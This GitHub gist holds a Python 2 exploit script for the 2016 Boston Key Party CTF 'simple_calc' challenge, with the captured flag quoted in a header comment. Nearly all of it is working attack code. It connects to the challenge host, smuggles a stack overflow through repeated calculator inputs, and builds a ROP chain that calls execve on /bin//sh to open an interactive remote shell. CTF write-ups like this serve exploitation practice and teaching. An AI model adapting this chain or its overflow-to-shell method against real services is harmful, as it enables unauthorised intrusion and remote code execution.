Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created March 7, 2016 12:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hugsy/88e7137466505e0402ca to your computer and use it in GitHub Desktop.
Save hugsy/88e7137466505e0402ca to your computer and use it in GitHub Desktop.
bkpctf16: simple_calc
#!/usr/bin/env python2
#
# $ cat key
# BKPCTF{what_is_2015_minus_7547}
#
import socket, struct, sys, telnetlib, binascii
HOST = "simplecalc.bostonkey.party"
#HOST = "localhost"
PORT = 5400
def hexdump(src, length=0x10):
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result=''
while src:
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s])
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length
return result
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key)))
def h_s(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i)
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0]
def i_s(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i)
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0]
def q_s(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i)
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0]
def _xlog(x):
sys.stderr.write(x + "\n")
sys.stderr.flush()
return
def err(msg): _xlog("[!] %s" % msg)
def ok(msg): _xlog("[+] %s" % msg)
def dbg(msg): _xlog("[*] %s" % msg)
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg))
def build_socket(host, port):
s = telnetlib.Telnet(HOST, PORT)
ok("Connected to %s:%d" % (host, port))
return s
def interact(s):
try:
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""")
s.interact()
except KeyboardInterrupt:
ok("Leaving")
except Exception as e:
err("Unexpected exception: %s" % e)
return
def pwn(s):
addrs = [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x42424242, 0x43434343, # overwritten vars
0x00000000, 0x00000000, # for free(NULL)
0x44444444, 0x44444444, # last overwritten vars
0x44444444, 0x44444444, # sfp
0x401c87, 0, # pop rsi ; ret
0x6c3110, 0x0, # addr rw
0x44db34, 0, # pop rax ; ret
0x6e69622f, 0x68732f2f, # /bin//sh
0x470f11, 0, # mov qword ptr [rsi], rax ; ret
0x447233, 0, # mov rax,rsi; ret
0x479295, 0, # mov edi, eax ; dec dword ptr [rax - 0x77] ; ret
0x44db34, 0x0, # pop rax
0x3b, 0, # syscall_execve
0x437aa9, 0x0, # pop rdx ; pop rsi ; ret
0, 0,
0, 0,
0x435675, 0, # syscall()
]
s.read_until("calculations: ")
s.write("{}\n".format(len(addrs)+1))
ok("Running %d calculations"% (len(addrs)+1))
for i in xrange(len(addrs)):
addr = addrs[i]
op_1, op_2 = addr-100 , 100
s.read_until("=> ")
s.write("1\n")
s.read_until("Integer x: ")
s.write("{:d}\n".format(op_1))
s.read_until("Integer y: ")
s.write("{:d}\n".format(op_2))
s.read_until("Result for x + y is ")
res = int(s.read_until(".\n")[:-2])
ok("Iter %d: got result %#x" % (i+1, res))
ok("Triggering exploit")
s.read_until("=> ")
s.write("5\n")
return True
if __name__ == "__main__":
s = build_socket(HOST, PORT)
dbg("Attach to gdb and press enter")
raw_input()
if pwn(s):
ok("Got it, interacting (Ctrl-C to break)")
interact(s)
ret = 0
else:
err("Failed to exploit")
ret = 1
s.close()
exit(ret)
# auto-generated by gef
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment